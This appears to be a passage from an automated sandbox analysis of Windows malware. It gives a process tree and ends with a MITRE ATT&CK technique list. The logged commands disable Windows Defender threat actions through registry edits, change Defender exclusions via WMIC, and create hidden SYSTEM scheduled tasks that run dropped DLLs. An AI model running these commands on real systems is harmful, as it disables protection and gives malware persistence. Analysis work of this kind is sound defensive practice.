schtasks /run /I /tn "LyeaCXeAXIXykqmfO"
3⤵
PID:1732

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 640 -s 328
3⤵
- Program crash
PID:836

C:\Windows\Temp\jLjeNaiUMFXhhNbk\PpxMMFsbkSNfKUE\Pwhrnod.exe
C:\Windows\Temp\jLjeNaiUMFXhhNbk\PpxMMFsbkSNfKUE\Pwhrnod.exe lW /iTkCdidGa 385135 /S
2⤵
- Checks computer location settings
- Executes dropped EXE
- Drops Chrome extension
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
PID:1548

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
3⤵
PID:2904

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
4⤵
PID:2024

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
5⤵
PID:2764

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
6⤵
PID:1224

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
4⤵
PID:3032

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
5⤵
PID:956

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
6⤵
PID:936

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
4⤵
PID:2964

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
5⤵
PID:2884

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
6⤵
PID:1356

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
4⤵
PID:2636

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
5⤵
PID:2584

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
6⤵
PID:2628

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
4⤵
PID:2356

C:\Windows\SysWOW64\cmd.exe
/C powershell start-process -WindowStyle Hidden gpupdate.exe /force
5⤵
PID:2092

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell start-process -WindowStyle Hidden gpupdate.exe /force
6⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2712

C:\Windows\SysWOW64\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
7⤵
PID:2396

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "bKPbLIPtdWjYWtgKbM"
3⤵
PID:2232

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True" &
3⤵
PID:2760

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
4⤵
PID:1732

C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
5⤵
PID:1508

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
6⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
PID:2112

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
7⤵
- Suspicious use of AdjustPrivilegeToken
PID:2456

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True"
4⤵
PID:1080

C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
5⤵
PID:2816

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
6⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
PID:1524

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
7⤵
PID:2948

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\TGSqLNfOU\NDYUDM.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "rkutRMUCKyfxaPV" /V1 /F
3⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:668

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "rkutRMUCKyfxaPV2" /F /xml "C:\Program Files (x86)\TGSqLNfOU\mLutPpa.xml" /RU "SYSTEM"
3⤵
- Creates scheduled task(s)
PID:2648

C:\Windows\SysWOW64\schtasks.exe
schtasks /END /TN "rkutRMUCKyfxaPV"
3⤵
PID:2720

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "rkutRMUCKyfxaPV"
3⤵
PID:1088

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "ymGpHCUadFDCAu" /F /xml "C:\Program Files (x86)\jbywMxbyABuU2\yldDABG.xml" /RU "SYSTEM"
3⤵
- Creates scheduled task(s)
PID:2332

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "KIJZzoLWERVEa2" /F /xml "C:\ProgramData\tvOexZGeSXRtrQVB\MuqKIEN.xml" /RU "SYSTEM"
3⤵
- Creates scheduled task(s)
PID:652

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "cKCvNSfFKKPlDebmW2" /F /xml "C:\Program Files (x86)\LarsEiwmjwuUJnPlqwR\oOEgyeT.xml" /RU "SYSTEM"
3⤵
- Creates scheduled task(s)
PID:264

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "kIVMXXvuSFGZiLTKXPV2" /F /xml "C:\Program Files (x86)\vZXYUjRGERiGC\LqbEsou.xml" /RU "SYSTEM"
3⤵
- Creates scheduled task(s)
PID:2616

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "WEqRGXvoovdTvsnPk" /SC once /ST 05:06:08 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\jLjeNaiUMFXhhNbk\ggohLDQv\DBirfQG.dll\",#1 /rHdidW 385135" /V1 /F
3⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:328

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "WEqRGXvoovdTvsnPk"
3⤵
PID:2588

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "LyeaCXeAXIXykqmfO"
3⤵
PID:2840

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1548 -s 668
3⤵
- Program crash
PID:1184

C:\Users\Admin\AppData\Local\Temp\WaFDGFyKTXBJSmLcQ\HCRvTsVXhEUoxKl\alRnUJb.exe
C:\Users\Admin\AppData\Local\Temp\WaFDGFyKTXBJSmLcQ\HCRvTsVXhEUoxKl\alRnUJb.exe M5 /dNcdidaLlL 385135 /S
2⤵
- Executes dropped EXE
PID:2784

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
3⤵
PID:1972

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
4⤵
PID:1028

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
5⤵
PID:2012

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
6⤵
PID:1600

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
4⤵
PID:2572

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
5⤵
PID:568

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
6⤵
PID:2612

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
4⤵
PID:2468

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
5⤵
PID:2996

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
6⤵
PID:1760

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
4⤵
PID:1468

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
5⤵
PID:3028

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
6⤵
PID:564

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
4⤵
PID:676

C:\Windows\SysWOW64\cmd.exe
/C powershell start-process -WindowStyle Hidden gpupdate.exe /force
5⤵
PID:1500

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell start-process -WindowStyle Hidden gpupdate.exe /force
6⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
PID:2176

C:\Windows\SysWOW64\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
7⤵
PID:3024

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "LyeaCXeAXIXykqmfO" /SC once /ST 01:47:01 /RU "SYSTEM" /TR "\"C:\Windows\Temp\jLjeNaiUMFXhhNbk\PpxMMFsbkSNfKUE\hVUcgSG.exe\" lW /Kthhdidkj 385135 /S" /V1 /F
3⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:1140

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "LyeaCXeAXIXykqmfO"
3⤵
PID:428

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2784 -s 624
3⤵
- Program crash
PID:3008

C:\Windows\Temp\jLjeNaiUMFXhhNbk\PpxMMFsbkSNfKUE\hVUcgSG.exe
C:\Windows\Temp\jLjeNaiUMFXhhNbk\PpxMMFsbkSNfKUE\hVUcgSG.exe lW /Kthhdidkj 385135 /S
2⤵
- Checks computer location settings
- Executes dropped EXE
- Drops Chrome extension
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
PID:1272

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
3⤵
PID:1616

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
4⤵
PID:1964

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
5⤵
PID:1204

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
6⤵
PID:1584

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
4⤵
PID:2412

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
5⤵
PID:1680

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
6⤵
PID:836

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
4⤵
PID:2084

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
5⤵
PID:2572

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
6⤵
PID:1760

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
4⤵
PID:2996

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
5⤵
PID:1032

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
6⤵
PID:2468

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
4⤵
PID:2164

C:\Windows\SysWOW64\cmd.exe
/C powershell start-process -WindowStyle Hidden gpupdate.exe /force
5⤵
PID:2540

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell start-process -WindowStyle Hidden gpupdate.exe /force
6⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1660

C:\Windows\SysWOW64\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
7⤵
PID:2488

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "bKPbLIPtdWjYWtgKbM"
3⤵
PID:2340

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True" &
3⤵
PID:1976

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
4⤵
PID:2180

C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
5⤵
PID:1292

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
6⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
PID:2176

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
7⤵
PID:2424

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True"
4⤵
PID:2816

C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
5⤵
PID:2760

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
6⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
PID:2532

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
7⤵
PID:956

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\TGSqLNfOU\LMFzmB.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "rkutRMUCKyfxaPV" /V1 /F
3⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:2252

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "rkutRMUCKyfxaPV2" /F /xml "C:\Program Files (x86)\TGSqLNfOU\fojvEjJ.xml" /RU "SYSTEM"
3⤵
- Creates scheduled task(s)
PID:2424

C:\Windows\SysWOW64\schtasks.exe
schtasks /END /TN "rkutRMUCKyfxaPV"
3⤵
PID:1468

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "rkutRMUCKyfxaPV"
3⤵
PID:1656

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "ymGpHCUadFDCAu" /F /xml "C:\Program Files (x86)\jbywMxbyABuU2\eYEkLFX.xml" /RU "SYSTEM"
3⤵
- Creates scheduled task(s)
PID:2152

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "KIJZzoLWERVEa2" /F /xml "C:\ProgramData\tvOexZGeSXRtrQVB\LBgNQcB.xml" /RU "SYSTEM"
3⤵
- Creates scheduled task(s)
PID:820

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "cKCvNSfFKKPlDebmW2" /F /xml "C:\Program Files (x86)\LarsEiwmjwuUJnPlqwR\cSuranC.xml" /RU "SYSTEM"
3⤵
- Creates scheduled task(s)
PID:2084

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "kIVMXXvuSFGZiLTKXPV2" /F /xml "C:\Program Files (x86)\vZXYUjRGERiGC\uxeimXa.xml" /RU "SYSTEM"
3⤵
- Creates scheduled task(s)
PID:2532

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "LyeaCXeAXIXykqmfO"
3⤵
PID:1084

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1272 -s 900
3⤵
- Program crash
PID:2164

C:\Windows\system32\rundll32.EXE
C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\jLjeNaiUMFXhhNbk\ggohLDQv\DBirfQG.dll",#1 /rHdidW 385135
2⤵
PID:1356

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\jLjeNaiUMFXhhNbk\ggohLDQv\DBirfQG.dll",#1 /rHdidW 385135
3⤵
- Blocklisted process makes network request
- Checks BIOS information in registry
- Drops file in System32 directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:2684

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "WEqRGXvoovdTvsnPk"
4⤵
PID:2424

C:\Windows\system32\taskeng.exe
taskeng.exe {22CB941E-8E62-4662-8CC9-46970B77C7C3} S-1-5-21-39690363-730359138-1046745555-1000:EILATWEW\Admin:Interactive:[1]
1⤵
PID:3064

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
PID:2548

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:2904

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:2304

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Scheduled Task/Job

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Scheduled Task/Job

Defense Evasion

Modify Registry

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Disable or Modify System Firewall

T1562.004

Pre-OS Boot

T1542

Bootkit

T1542.003

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

System Information Discovery